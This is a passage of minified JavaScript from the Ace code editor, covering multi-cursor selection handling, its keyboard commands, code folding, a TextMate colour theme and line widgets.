n=0;n<t;n++)e.undo(!0);this.selectionBefore&&this.session.selection.fromJSON(this.selectionBefore)}}).call(o.prototype),t.PlaceHolder=o}),define(\"ace/mouse/multi_select_handler\",[\"require\",\"exports\",\"module\",\"ace/lib/event\",\"ace/lib/useragent\"],function(e,t,n){function s(e,t){return e.row==t.row&&e.column==t.column}function o(e){var t=e.domEvent,n=t.altKey,o=t.shiftKey,u=t.ctrlKey,a=e.getAccelKey(),f=e.getButton();u&&i.isMac&&(f=t.button);if(e.editor.inMultiSelectMode&&f==2){e.editor.textInput.onContextMenu(e.domEvent);return}if(!u&&!n&&!a){f===0&&e.editor.inMultiSelectMode&&e.editor.exitMultiSelectMode();return}if(f!==0)return;var l=e.editor,c=l.selection,h=l.inMultiSelectMode,p=e.getDocumentPosition(),d=c.getCursor(),v=e.inSelection()||c.isEmpty()&&s(p,d),m=e.x,g=e.y,y=function(e){m=e.clientX,g=e.clientY},b=l.session,w=l.renderer.pixelToScreenCoordinates(m,g),E=w,S;if(l.$mouseHandler.$enableJumpToDef)u&&n||a&&n?S=o?\"block\":\"add\":n&&l.$blockSelectEnabled&&(S=\"block\");else if(a&&!n){S=\"add\";if(!h&&o)return}else n&&l.$blockSelectEnabled&&(S=\"block\");S&&i.isMac&&t.ctrlKey&&l.$mouseHandler.cancelContextMenu();if(S==\"add\"){if(!h&&v)return;if(!h){var x=c.toOrientedRange();l.addSelectionMarker(x)}var T=c.rangeList.rangeAtPoint(p);l.$blockScrolling++,l.inVirtualSelectionMode=!0,o&&(T=null,x=c.ranges[0]||x,l.removeSelectionMarker(x)),l.once(\"mouseup\",function(){var e=c.toOrientedRange();T&&e.isEmpty()&&s(T.cursor,e.cursor)?c.substractPoint(e.cursor):(o?c.substractPoint(x.cursor):x&&(l.removeSelectionMarker(x),c.addRange(x)),c.addRange(e)),l.$blockScrolling--,l.inVirtualSelectionMode=!1})}else if(S==\"block\"){e.stop(),l.inVirtualSelectionMode=!0;var N,C=[],k=function(){var e=l.renderer.pixelToScreenCoordinates(m,g),t=b.screenToDocumentPosition(e.row,e.column);if(s(E,e)&&s(t,c.lead))return;E=e,l.$blockScrolling++,l.selection.moveToPosition(t),l.renderer.scrollCursorIntoView(),l.removeSelectionMarkers(C),C=c.rectangularRangeBlock(E,w),l.$mouseHandler.$clickSelection&&C.length==1&&C[0].isEmpty()&&(C[0]=l.$mouseHandler.$clickSelection.clone()),C.forEach(l.addSelectionMarker,l),l.updateSelectionMarkers(),l.$blockScrolling--};l.$blockScrolling++,h&&!a?c.toSingleRange():!h&&a&&(N=c.toOrientedRange(),l.addSelectionMarker(N)),o?w=b.documentToScreenPosition(c.lead):c.moveToPosition(p),l.$blockScrolling--,E={row:-1,column:-1};var L=function(e){clearInterval(O),l.removeSelectionMarkers(C),C.length||(C=[c.toOrientedRange()]),l.$blockScrolling++,N&&(l.removeSelectionMarker(N),c.toSingleRange(N));for(var t=0;t<C.length;t++)c.addRange(C[t]);l.inVirtualSelectionMode=!1,l.$mouseHandler.$clickSelection=null,l.$blockScrolling--},A=k;r.capture(l.container,y,L);var O=setInterval(function(){A()},20);return e.preventDefault()}}var r=e(\"../lib/event\"),i=e(\"../lib/useragent\");t.onMouseDown=o}),define(\"ace/commands/multi_select_commands\",[\"require\",\"exports\",\"module\",\"ace/keyboard/hash_handler\"],function(e,t,n){t.defaultCommands=[{name:\"addCursorAbove\",exec:function(e){e.selectMoreLines(-1)},bindKey:{win:\"Ctrl-Alt-Up\",mac:\"Ctrl-Alt-Up\"},scrollIntoView:\"cursor\",readOnly:!0},{name:\"addCursorBelow\",exec:function(e){e.selectMoreLines(1)},bindKey:{win:\"Ctrl-Alt-Down\",mac:\"Ctrl-Alt-Down\"},scrollIntoView:\"cursor\",readOnly:!0},{name:\"addCursorAboveSkipCurrent\",exec:function(e){e.selectMoreLines(-1,!0)},bindKey:{win:\"Ctrl-Alt-Shift-Up\",mac:\"Ctrl-Alt-Shift-Up\"},scrollIntoView:\"cursor\",readOnly:!0},{name:\"addCursorBelowSkipCurrent\",exec:function(e){e.selectMoreLines(1,!0)},bindKey:{win:\"Ctrl-Alt-Shift-Down\",mac:\"Ctrl-Alt-Shift-Down\"},scrollIntoView:\"cursor\",readOnly:!0},{name:\"selectMoreBefore\",exec:function(e){e.selectMore(-1)},bindKey:{win:\"Ctrl-Alt-Left\",mac:\"Ctrl-Alt-Left\"},scrollIntoView:\"cursor\",readOnly:!0},{name:\"selectMoreAfter\",exec:function(e){e.selectMore(1)},bindKey:{win:\"Ctrl-Alt-Right\",mac:\"Ctrl-Alt-Right\"},scrollIntoView:\"cursor\",readOnly:!0},{name:\"selectNextBefore\",exec:function(e){e.selectMore(-1,!0)},bindKey:{win:\"Ctrl-Alt-Shift-Left\",mac:\"Ctrl-Alt-Shift-Left\"},scrollIntoView:\"cursor\",readOnly:!0},{name:\"selectNextAfter\",exec:function(e){e.selectMore(1,!0)},bindKey:{win:\"Ctrl-Alt-Shift-Right\",mac:\"Ctrl-Alt-Shift-Right\"},scrollIntoView:\"cursor\",readOnly:!0},{name:\"splitIntoLines\",exec:function(e){e.multiSelect.splitIntoLines()},bindKey:{win:\"Ctrl-Alt-L\",mac:\"Ctrl-Alt-L\"},readOnly:!0},{name:\"alignCursors\",exec:function(e){e.alignCursors()},bindKey:{win:\"Ctrl-Alt-A\",mac:\"Ctrl-Alt-A\"},scrollIntoView:\"cursor\"},{name:\"findAll\",exec:function(e){e.findAll()},bindKey:{win:\"Ctrl-Alt-K\",mac:\"Ctrl-Alt-G\"},scrollIntoView:\"cursor\",readOnly:!0}],t.multiSelectCommands=[{name:\"singleSelection\",bindKey:\"esc\",exec:function(e){e.exitMultiSelectMode()},scrollIntoView:\"cursor\",readOnly:!0,isAvailable:function(e){return e&&e.inMultiSelectMode}}];var r=e(\"../keyboard/hash_handler\").HashHandler;t.keyboardHandler=new r(t.multiSelectCommands)}),define(\"ace/multi_select\",[\"require\",\"exports\",\"module\",\"ace/range_list\",\"ace/range\",\"ace/selection\",\"ace/mouse/multi_select_handler\",\"ace/lib/event\",\"ace/lib/lang\",\"ace/commands/multi_select_commands\",\"ace/search\",\"ace/edit_session\",\"ace/editor\",\"ace/config\"],function(e,t,n){function h(e,t,n){return c.$options.wrap=!0,c.$options.needle=t,c.$options.backwards=n==-1,c.find(e)}function v(e,t){return e.row==t.row&&e.column==t.column}function m(e){if(e.$multiselectOnSessionChange)return;e.$onAddRange=e.$onAddRange.bind(e),e.$onRemoveRange=e.$onRemoveRange.bind(e),e.$onMultiSelect=e.$onMultiSelect.bind(e),e.$onSingleSelect=e.$onSingleSelect.bind(e),e.$multiselectOnSessionChange=t.onSessionChange.bind(e),e.$checkMultiselectChange=e.$checkMultiselectChange.bind(e),e.$multiselectOnSessionChange(e),e.on(\"changeSession\",e.$multiselectOnSessionChange),e.on(\"mousedown\",o),e.commands.addCommands(f.defaultCommands),g(e)}function g(e){function r(t){n&&(e.renderer.setMouseCursor(\"\"),n=!1)}var t=e.textInput.getElement(),n=!1;u.addListener(t,\"keydown\",function(t){var i=t.keyCode==18&&!(t.ctrlKey||t.shiftKey||t.metaKey);e.$blockSelectEnabled&&i?n||(e.renderer.setMouseCursor(\"crosshair\"),n=!0):n&&r()}),u.addListener(t,\"keyup\",r),u.addListener(t,\"blur\",r)}var r=e(\"./range_list\").RangeList,i=e(\"./range\").Range,s=e(\"./selection\").Selection,o=e(\"./mouse/multi_select_handler\").onMouseDown,u=e(\"./lib/event\"),a=e(\"./lib/lang\"),f=e(\"./commands/multi_select_commands\");t.commands=f.defaultCommands.concat(f.multiSelectCommands);var l=e(\"./search\").Search,c=new l,p=e(\"./edit_session\").EditSession;(function(){this.getSelectionMarkers=function(){return this.$selectionMarkers}}).call(p.prototype),function(){this.ranges=null,this.rangeList=null,this.addRange=function(e,t){if(!e)return;if(!this.inMultiSelectMode&&this.rangeCount===0){var n=this.toOrientedRange();this.rangeList.add(n),this.rangeList.add(e);if(this.rangeList.ranges.length!=2)return this.rangeList.removeAll(),t||this.fromOrientedRange(e);this.rangeList.removeAll(),this.rangeList.add(n),this.$onAddRange(n)}e.cursor||(e.cursor=e.end);var r=this.rangeList.add(e);return this.$onAddRange(e),r.length&&this.$onRemoveRange(r),this.rangeCount>1&&!this.inMultiSelectMode&&(this._signal(\"multiSelect\"),this.inMultiSelectMode=!0,this.session.$undoSelect=!1,this.rangeList.attach(this.session)),t||this.fromOrientedRange(e)},this.toSingleRange=function(e){e=e||this.ranges[0];var t=this.rangeList.removeAll();t.length&&this.$onRemoveRange(t),e&&this.fromOrientedRange(e)},this.substractPoint=function(e){var t=this.rangeList.substractPoint(e);if(t)return this.$onRemoveRange(t),t[0]},this.mergeOverlappingRanges=function(){var e=this.rangeList.merge();e.length?this.$onRemoveRange(e):this.ranges[0]&&this.fromOrientedRange(this.ranges[0])},this.$onAddRange=function(e){this.rangeCount=this.rangeList.ranges.length,this.ranges.unshift(e),this._signal(\"addRange\",{range:e})},this.$onRemoveRange=function(e){this.rangeCount=this.rangeList.ranges.length;if(this.rangeCount==1&&this.inMultiSelectMode){var t=this.rangeList.ranges.pop();e.push(t),this.rangeCount=0}for(var n=e.length;n--;){var r=this.ranges.indexOf(e[n]);this.ranges.splice(r,1)}this._signal(\"removeRange\",{ranges:e}),this.rangeCount===0&&this.inMultiSelectMode&&(this.inMultiSelectMode=!1,this._signal(\"singleSelect\"),this.session.$undoSelect=!0,this.rangeList.detach(this.session)),t=t||this.ranges[0],t&&!t.isEqual(this.getRange())&&this.fromOrientedRange(t)},this.$initRangeList=function(){if(this.rangeList)return;this.rangeList=new r,this.ranges=[],this.rangeCount=0},this.getAllRanges=function(){return this.rangeCount?this.rangeList.ranges.concat():[this.getRange()]},this.splitIntoLines=function(){if(this.rangeCount>1){var e=this.rangeList.ranges,t=e[e.length-1],n=i.fromPoints(e[0].start,t.end);this.toSingleRange(),this.setSelectionRange(n,t.cursor==t.start)}else{var n=this.getRange(),r=this.isBackwards(),s=n.start.row,o=n.end.row;if(s==o){if(r)var u=n.end,a=n.start;else var u=n.start,a=n.end;this.addRange(i.fromPoints(a,a)),this.addRange(i.fromPoints(u,u));return}var f=[],l=this.getLineRange(s,!0);l.start.column=n.start.column,f.push(l);for(var c=s+1;c<o;c++)f.push(this.getLineRange(c,!0));l=this.getLineRange(o,!0),l.end.column=n.end.column,f.push(l),f.forEach(this.addRange,this)}},this.toggleBlockSelection=function(){if(this.rangeCount>1){var e=this.rangeList.ranges,t=e[e.length-1],n=i.fromPoints(e[0].start,t.end);this.toSingleRange(),this.setSelectionRange(n,t.cursor==t.start)}else{var r=this.session.documentToScreenPosition(this.selectionLead),s=this.session.documentToScreenPosition(this.selectionAnchor),o=this.rectangularRangeBlock(r,s);o.forEach(this.addRange,this)}},this.rectangularRangeBlock=function(e,t,n){var r=[],s=e.column<t.column;if(s)var o=e.column,u=t.column;else var o=t.column,u=e.column;var a=e.row<t.row;if(a)var f=e.row,l=t.row;else var f=t.row,l=e.row;o<0&&(o=0),f<0&&(f=0),f==l&&(n=!0);for(var c=f;c<=l;c++){var h=i.fromPoints(this.session.screenToDocumentPosition(c,o),this.session.screenToDocumentPosition(c,u));if(h.isEmpty()){if(p&&v(h.end,p))break;var p=h.end}h.cursor=s?h.start:h.end,r.push(h)}a&&r.reverse();if(!n){var d=r.length-1;while(r[d].isEmpty()&&d>0)d--;if(d>0){var m=0;while(r[m].isEmpty())m++}for(var g=d;g>=m;g--)r[g].isEmpty()&&r.splice(g,1)}return r}}.call(s.prototype);var d=e(\"./editor\").Editor;(function(){this.updateSelectionMarkers=function(){this.renderer.updateCursor(),this.renderer.updateBackMarkers()},this.addSelectionMarker=function(e){e.cursor||(e.cursor=e.end);var t=this.getSelectionStyle();return e.marker=this.session.addMarker(e,\"ace_selection\",t),this.session.$selectionMarkers.push(e),this.session.selectionMarkerCount=this.session.$selectionMarkers.length,e},this.removeSelectionMarker=function(e){if(!e.marker)return;this.session.removeMarker(e.marker);var t=this.session.$selectionMarkers.indexOf(e);t!=-1&&this.session.$selectionMarkers.splice(t,1),this.session.selectionMarkerCount=this.session.$selectionMarkers.length},this.removeSelectionMarkers=function(e){var t=this.session.$selectionMarkers;for(var n=e.length;n--;){var r=e[n];if(!r.marker)continue;this.session.removeMarker(r.marker);var i=t.indexOf(r);i!=-1&&t.splice(i,1)}this.session.selectionMarkerCount=t.length},this.$onAddRange=function(e){this.addSelectionMarker(e.range),this.renderer.updateCursor(),this.renderer.updateBackMarkers()},this.$onRemoveRange=function(e){this.removeSelectionMarkers(e.ranges),this.renderer.updateCursor(),this.renderer.updateBackMarkers()},this.$onMultiSelect=function(e){if(this.inMultiSelectMode)return;this.inMultiSelectMode=!0,this.setStyle(\"ace_multiselect\"),this.keyBinding.addKeyboardHandler(f.keyboardHandler),this.commands.setDefaultHandler(\"exec\",this.$onMultiSelectExec),this.renderer.updateCursor(),this.renderer.updateBackMarkers()},this.$onSingleSelect=function(e){if(this.session.multiSelect.inVirtualMode)return;this.inMultiSelectMode=!1,this.unsetStyle(\"ace_multiselect\"),this.keyBinding.removeKeyboardHandler(f.keyboardHandler),this.commands.removeDefaultHandler(\"exec\",this.$onMultiSelectExec),this.renderer.updateCursor(),this.renderer.updateBackMarkers(),this._emit(\"changeSelection\")},this.$onMultiSelectExec=function(e){var t=e.command,n=e.editor;if(!n.multiSelect)return;if(!t.multiSelectAction){var r=t.exec(n,e.args||{});n.multiSelect.addRange(n.multiSelect.toOrientedRange()),n.multiSelect.mergeOverlappingRanges()}else t.multiSelectAction==\"forEach\"?r=n.forEachSelection(t,e.args):t.multiSelectAction==\"forEachLine\"?r=n.forEachSelection(t,e.args,!0):t.multiSelectAction==\"single\"?(n.exitMultiSelectMode(),r=t.exec(n,e.args||{})):r=t.multiSelectAction(n,e.args||{});return r},this.forEachSelection=function(e,t,n){if(this.inVirtualSelectionMode)return;var r=n&&n.keepOrder,i=n==1||n&&n.$byLines,o=this.session,u=this.selection,a=u.rangeList,f=(r?u:a).ranges,l;if(!f.length)return e.exec?e.exec(this,t||{}):e(this,t||{});var c=u._eventRegistry;u._eventRegistry={};var h=new s(o);this.inVirtualSelectionMode=!0;for(var p=f.length;p--;){if(i)while(p>0&&f[p].start.row==f[p-1].end.row)p--;h.fromOrientedRange(f[p]),h.index=p,this.selection=o.selection=h;var d=e.exec?e.exec(this,t||{}):e(this,t||{});!l&&d!==undefined&&(l=d),h.toOrientedRange(f[p])}h.detach(),this.selection=o.selection=u,this.inVirtualSelectionMode=!1,u._eventRegistry=c,u.mergeOverlappingRanges();var v=this.renderer.$scrollAnimation;return this.onCursorChange(),this.onSelectionChange(),v&&v.from==v.to&&this.renderer.animateScrolling(v.from),l},this.exitMultiSelectMode=function(){if(!this.inMultiSelectMode||this.inVirtualSelectionMode)return;this.multiSelect.toSingleRange()},this.getSelectedText=function(){var e=\"\";if(this.inMultiSelectMode&&!this.inVirtualSelectionMode){var t=this.multiSelect.rangeList.ranges,n=[];for(var r=0;r<t.length;r++)n.push(this.session.getTextRange(t[r]));var i=this.session.getDocument().getNewLineCharacter();e=n.join(i),e.length==(n.length-1)*i.length&&(e=\"\")}else this.selection.isEmpty()||(e=this.session.getTextRange(this.getSelectionRange()));return e},this.$checkMultiselectChange=function(e,t){if(this.inMultiSelectMode&&!this.inVirtualSelectionMode){var n=this.multiSelect.ranges[0];if(this.multiSelect.isEmpty()&&t==this.multiSelect.anchor)return;var r=t==this.multiSelect.anchor?n.cursor==n.start?n.end:n.start:n.cursor;(r.row!=t.row||this.session.$clipPositionToDocument(r.row,r.column).column!=t.column)&&this.multiSelect.toSingleRange(this.multiSelect.toOrientedRange())}},this.findAll=function(e,t,n){t=t||{},t.needle=e||t.needle;if(t.needle==undefined){var r=this.selection.isEmpty()?this.selection.getWordRange():this.selection.getRange();t.needle=this.session.getTextRange(r)}this.$search.set(t);var i=this.$search.findAll(this.session);if(!i.length)return 0;this.$blockScrolling+=1;var s=this.multiSelect;n||s.toSingleRange(i[0]);for(var o=i.length;o--;)s.addRange(i[o],!0);return r&&s.rangeList.rangeAtPoint(r.start)&&s.addRange(r,!0),this.$blockScrolling-=1,i.length},this.selectMoreLines=function(e,t){var n=this.selection.toOrientedRange(),r=n.cursor==n.end,s=this.session.documentToScreenPosition(n.cursor);this.selection.$desiredColumn&&(s.column=this.selection.$desiredColumn);var o=this.session.screenToDocumentPosition(s.row+e,s.column);if(!n.isEmpty())var u=this.session.documentToScreenPosition(r?n.end:n.start),a=this.session.screenToDocumentPosition(u.row+e,u.column);else var a=o;if(r){var f=i.fromPoints(o,a);f.cursor=f.start}else{var f=i.fromPoints(a,o);f.cursor=f.end}f.desiredColumn=s.column;if(!this.selection.inMultiSelectMode)this.selection.addRange(n);else if(t)var l=n.cursor;this.selection.addRange(f),l&&this.selection.substractPoint(l)},this.transposeSelections=function(e){var t=this.session,n=t.multiSelect,r=n.ranges;for(var i=r.length;i--;){var s=r[i];if(s.isEmpty()){var o=t.getWordRange(s.start.row,s.start.column);s.start.row=o.start.row,s.start.column=o.start.column,s.end.row=o.end.row,s.end.column=o.end.column}}n.mergeOverlappingRanges();var u=[];for(var i=r.length;i--;){var s=r[i];u.unshift(t.getTextRange(s))}e<0?u.unshift(u.pop()):u.push(u.shift());for(var i=r.length;i--;){var s=r[i],o=s.clone();t.replace(s,u[i]),s.start.row=o.start.row,s.start.column=o.start.column}},this.selectMore=function(e,t,n){var r=this.session,i=r.multiSelect,s=i.toOrientedRange();if(s.isEmpty()){s=r.getWordRange(s.start.row,s.start.column),s.cursor=e==-1?s.start:s.end,this.multiSelect.addRange(s);if(n)return}var o=r.getTextRange(s),u=h(r,o,e);u&&(u.cursor=e==-1?u.start:u.end,this.$blockScrolling+=1,this.session.unfold(u),this.multiSelect.addRange(u),this.$blockScrolling-=1,this.renderer.scrollCursorIntoView(null,.5)),t&&this.multiSelect.substractPoint(s.cursor)},this.alignCursors=function(){var e=this.session,t=e.multiSelect,n=t.ranges,r=-1,s=n.filter(function(e){if(e.cursor.row==r)return!0;r=e.cursor.row});if(!n.length||s.length==n.length-1){var o=this.selection.getRange(),u=o.start.row,f=o.end.row,l=u==f;if(l){var c=this.session.getLength(),h;do h=this.session.getLine(f);while(/[=:]/.test(h)&&++f<c);do h=this.session.getLine(u);while(/[=:]/.test(h)&&--u>0);u<0&&(u=0),f>=c&&(f=c-1)}var p=this.session.removeFullLines(u,f);p=this.$reAlignText(p,l),this.session.insert({row:u,column:0},p.join(\"\\n\")+\"\\n\"),l||(o.start.column=0,o.end.column=p[p.length-1].length),this.selection.setRange(o)}else{s.forEach(function(e){t.substractPoint(e.cursor)});var d=0,v=Infinity,m=n.map(function(t){var n=t.cursor,r=e.getLine(n.row),i=r.substr(n.column).search(/\\S/g);return i==-1&&(i=0),n.column>d&&(d=n.column),i<v&&(v=i),i});n.forEach(function(t,n){var r=t.cursor,s=d-r.column,o=m[n]-v;s>o?e.insert(r,a.stringRepeat(\" \",s-o)):e.remove(new i(r.row,r.column,r.row,r.column-s+o)),t.start.column=t.end.column=d,t.start.row=t.end.row=r.row,t.cursor=t.end}),t.fromOrientedRange(n[0]),this.renderer.updateCursor(),this.renderer.updateBackMarkers()}},this.$reAlignText=function(e,t){function u(e){return a.stringRepeat(\" \",e)}function f(e){return e[2]?u(i)+e[2]+u(s-e[2].length+o)+e[4].replace(/^([=:])\\s+/,\"$1 \"):e[0]}function l(e){return e[2]?u(i+s-e[2].length)+e[2]+u(o,\" \")+e[4].replace(/^([=:])\\s+/,\"$1 \"):e[0]}function c(e){return e[2]?u(i)+e[2]+u(o)+e[4].replace(/^([=:])\\s+/,\"$1 \"):e[0]}var n=!0,r=!0,i,s,o;return e.map(function(e){var t=e.match(/(\\s*)(.*?)(\\s*)([=:].*)/);return t?i==null?(i=t[1].length,s=t[2].length,o=t[3].length,t):(i+s+o!=t[1].length+t[2].length+t[3].length&&(r=!1),i!=t[1].length&&(n=!1),i>t[1].length&&(i=t[1].length),s<t[2].length&&(s=t[2].length),o>t[3].length&&(o=t[3].length),t):[e]}).map(t?f:n?r?l:f:c)}}).call(d.prototype),t.onSessionChange=function(e){var t=e.session;t&&!t.multiSelect&&(t.$selectionMarkers=[],t.selection.$initRangeList(),t.multiSelect=t.selection),this.multiSelect=t&&t.multiSelect;var n=e.oldSession;n&&(n.multiSelect.off(\"addRange\",this.$onAddRange),n.multiSelect.off(\"removeRange\",this.$onRemoveRange),n.multiSelect.off(\"multiSelect\",this.$onMultiSelect),n.multiSelect.off(\"singleSelect\",this.$onSingleSelect),n.multiSelect.lead.off(\"change\",this.$checkMultiselectChange),n.multiSelect.anchor.off(\"change\",this.$checkMultiselectChange)),t&&(t.multiSelect.on(\"addRange\",this.$onAddRange),t.multiSelect.on(\"removeRange\",this.$onRemoveRange),t.multiSelect.on(\"multiSelect\",this.$onMultiSelect),t.multiSelect.on(\"singleSelect\",this.$onSingleSelect),t.multiSelect.lead.on(\"change\",this.$checkMultiselectChange),t.multiSelect.anchor.on(\"change\",this.$checkMultiselectChange)),t&&this.inMultiSelectMode!=t.selection.inMultiSelectMode&&(t.selection.inMultiSelectMode?this.$onMultiSelect():this.$onSingleSelect())},t.MultiSelect=m,e(\"./config\").defineOptions(d.prototype,\"editor\",{enableMultiselect:{set:function(e){m(this),e?(this.on(\"changeSession\",this.$multiselectOnSessionChange),this.on(\"mousedown\",o)):(this.off(\"changeSession\",this.$multiselectOnSessionChange),this.off(\"mousedown\",o))},value:!0},enableBlockSelect:{set:function(e){this.$blockSelectEnabled=e},value:!0}})}),define(\"ace/mode/folding/fold_mode\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../../range\").Range,i=t.FoldMode=function(){};(function(){this.foldingStartMarker=null,this.foldingStopMarker=null,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);return this.foldingStartMarker.test(r)?\"start\":t==\"markbeginend\"&&this.foldingStopMarker&&this.foldingStopMarker.test(r)?\"end\":\"\"},this.getFoldWidgetRange=function(e,t,n){return null},this.indentationBlock=function(e,t,n){var i=/\\S/,s=e.getLine(t),o=s.search(i);if(o==-1)return;var u=n||s.length,a=e.getLength(),f=t,l=t;while(++t<a){var c=e.getLine(t).search(i);if(c==-1)continue;if(c<=o)break;l=t}if(l>f){var h=e.getLine(l).length;return new r(f,u,l,h)}},this.openingBracketBlock=function(e,t,n,i,s){var o={row:n,column:i+1},u=e.$findClosingBracket(t,o,s);if(!u)return;var a=e.foldWidgets[u.row];return a==null&&(a=e.getFoldWidget(u.row)),a==\"start\"&&u.row>o.row&&(u.row--,u.column=e.getLine(u.row).length),r.fromPoints(o,u)},this.closingBracketBlock=function(e,t,n,i,s){var o={row:n,column:i},u=e.$findOpeningBracket(t,o);if(!u)return;return u.column++,o.column--,r.fromPoints(u,o)}}).call(i.prototype)}),define(\"ace/theme/textmate\",[\"require\",\"exports\",\"module\",\"ace/lib/dom\"],function(e,t,n){\"use strict\";t.isDark=!1,t.cssClass=\"ace-tm\",t.cssText='.ace-tm .ace_gutter {background: #f0f0f0;color: #333;}.ace-tm .ace_print-margin {width: 1px;background: #e8e8e8;}.ace-tm .ace_fold {background-color: #6B72E6;}.ace-tm {background-color: #FFFFFF;color: black;}.ace-tm .ace_cursor {color: black;}.ace-tm .ace_invisible {color: rgb(191, 191, 191);}.ace-tm .ace_storage,.ace-tm .ace_keyword {color: blue;}.ace-tm .ace_constant {color: rgb(197, 6, 11);}.ace-tm .ace_constant.ace_buildin {color: rgb(88, 72, 246);}.ace-tm .ace_constant.ace_language {color: rgb(88, 92, 246);}.ace-tm .ace_constant.ace_library {color: rgb(6, 150, 14);}.ace-tm .ace_invalid {background-color: rgba(255, 0, 0, 0.1);color: red;}.ace-tm .ace_support.ace_function {color: rgb(60, 76, 114);}.ace-tm .ace_support.ace_constant {color: rgb(6, 150, 14);}.ace-tm .ace_support.ace_type,.ace-tm .ace_support.ace_class {color: rgb(109, 121, 222);}.ace-tm .ace_keyword.ace_operator {color: rgb(104, 118, 135);}.ace-tm .ace_string {color: rgb(3, 106, 7);}.ace-tm .ace_comment {color: rgb(76, 136, 107);}.ace-tm .ace_comment.ace_doc {color: rgb(0, 102, 255);}.ace-tm .ace_comment.ace_doc.ace_tag {color: rgb(128, 159, 191);}.ace-tm .ace_constant.ace_numeric {color: rgb(0, 0, 205);}.ace-tm .ace_variable {color: rgb(49, 132, 149);}.ace-tm .ace_xml-pe {color: rgb(104, 104, 91);}.ace-tm .ace_entity.ace_name.ace_function {color: #0000A2;}.ace-tm .ace_heading {color: rgb(12, 7, 255);}.ace-tm .ace_list {color:rgb(185, 6, 144);}.ace-tm .ace_meta.ace_tag {color:rgb(0, 22, 142);}.ace-tm .ace_string.ace_regex {color: rgb(255, 0, 0)}.ace-tm .ace_marker-layer .ace_selection {background: rgb(181, 213, 255);}.ace-tm.ace_multiselect .ace_selection.ace_start {box-shadow: 0 0 3px 0px white;}.ace-tm .ace_marker-layer .ace_step {background: rgb(252, 255, 0);}.ace-tm .ace_marker-layer .ace_stack {background: rgb(164, 229, 101);}.ace-tm .ace_marker-layer .ace_bracket {margin: -1px 0 0 -1px;border: 1px solid rgb(192, 192, 192);}.ace-tm .ace_marker-layer .ace_active-line {background: rgba(0, 0, 0, 0.07);}.ace-tm .ace_gutter-active-line {background-color : #dcdcdc;}.ace-tm .ace_marker-layer .ace_selected-word {background: rgb(250, 250, 255);border: 1px solid rgb(200, 200, 250);}.ace-tm .ace_indent-guide {background: url(\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAACCAYAAACZgbYnAAAAE0lEQVQImWP4////f4bLly//BwAmVgd1/w11/gAAAABJRU5ErkJggg==\") right repeat-y;}';var r=e(\"../lib/dom\");r.importCssString(t.cssText,t.cssClass)}),define(\"ace/line_widgets\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/dom\",\"ace/range\"],function(e,t,n){\"use strict\";function o(e){this.session=e,this.session.widgetManager=this,this.session.getRowLength=this.getRowLength,this.session.$getWidgetScreenLength=this.$getWidgetScreenLength,this.updateOnChange=this.updateOnChange.bind(this),this.renderWidgets=this.renderWidgets.bind(this),this.measureWidgets=this.measureWidgets.bind(this),this.session._changedWidgets=[],this.$onChangeEditor=this.$onChangeEditor.bind(this),this.session.on(\"change\",this.updateOnChange),this.session.on(\"changeFold\",this.updateOnFold),this.session.on(\"changeEditor\",this.$onChangeEditor)}var r=e(\"./lib/oop\"),i=e(\"./lib/dom\"),s=e(\"./range\").Range;(function(){this.getRowLength=function(e){var t;return this.lineWidgets?t=this.lineWidgets[e]&&this.lineWidgets[e].rowCount||0:t=0,!this.$useWrapMode||!this.$wrapData[e]?1+t:this.$wrapData[e].length+1+t},this.$getWidgetScreenLength=function(){var e=0;return this.lineWidgets.forEach(function(t){t&&t.rowCount&&!t.hidden&&(e+=t.rowCount)}),e},this.$onChangeEditor=function(e){this.attach(e.editor)},this.attach=function(e){e&&e.widgetManager&&e.widgetManager!=this&&e.widgetManager.detach();if(this.editor==e)return;this.detach(),this.editor=e,e&&(e.widgetManager=this,e.renderer.on(\"beforeRender\",this.measureWidgets),e.renderer.on(\"afterRender\",this.renderWidgets))},this.detach=function(e){var t=this.editor;if(!t)return;this.editor=null,t.widgetManager=null,t.renderer.off(\"beforeRender\",this.measureWidgets),t.renderer.off(\"afterRender\",this.renderWidgets);var n=this.session.lineWidgets;n&&n.forEach(function(e){e&&e.el&&e.el.parentNode&&(e._inDocument=!1,e.el.parentNode.removeChild(e.el))})},this.updateOnFold=function(e,t){var n=t.lineWidgets;if(!n||!e.action)return;var r=e.data,i=r.start.row,s=r.end.row,o=e.action==\"add\";for(var u=i+1;u<s;u++)n[u]&&(n[u].hidden=o);n[s]&&(o?n[i]?n[s].hidden=o:n[i]=n[s]:(n[i]==n[s]&&(n[i]=undefined),n[s].hidden=o))},this.updateOnChange=function(e){var t=this.session.lineWidgets;if(!t)return;var n=e.start.row,r=e.end.row-n;if(r!==0)if(e.action==\"remove\"){var i=t.splice(n+1,r);i.forEach(function(e){e&&this.removeLineWidget(e)},this),this.$updateRows()}else{var s=new Array(r);s.unshift(n,0),t.splice.apply(t,s),this.$updateRows()}},this.$updateRows=function(){var e=this.session.lineWidgets;if(!e)return;var t=!0;e.forEach(function(e,n){if(e){t=!1,e.row=n;while(e.$oldWidget)e.$oldWidget.row=n,e=e.$oldWidget}}),t&&(this.session.lineWidgets=null)},this.addLineWidget=function(e){this.session.lineWidgets||(this.session.lineWidgets=new Array(this.session.getLength()));var t=this.session.lineWidgets[e.row];t&&(e.$oldWidget=t,t.el&&t.el.parentNode&&(t.el.parentNode.removeChild(t.el),t._inDocument=!1)),this.session.lineWidgets[e.row]=e,e.session=this.session;var n=this.editor.renderer;e.html&&!e.el&&(e.el=i.createElement(\"div\"),e.el.innerHTML=e.html),e.el&&(i.addCssClass(e.el,\"ace_lineWidgetContainer\"),e.el.style.position=\"absolute\",e.el.style.zIndex=5,n.container.appendChild(e.el),e._inDocument=!0),e.coverGutter||(e.el.style.zIndex=3),e.pixelHeight||(e.pixelHeight=e.el.offsetHeight),e.rowCount==null&&(e.rowCount=e.pixelHeight/n.layerConfig.lineHeight);var r=this.session.getFoldAt(e.row,0);e.$fold=r;if(r){var s=this.session.lineWidgets;e.row==r.end.row&&!s[r.start.row]?s[r.start.row]=e:e.hidden=!0}return 